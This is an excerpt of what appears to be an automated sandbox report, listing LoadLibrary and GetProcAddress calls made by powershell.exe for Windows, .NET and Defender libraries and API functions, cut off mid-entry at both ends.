%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00007328)32:T9676,"powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00007328) "powershell.exe" called 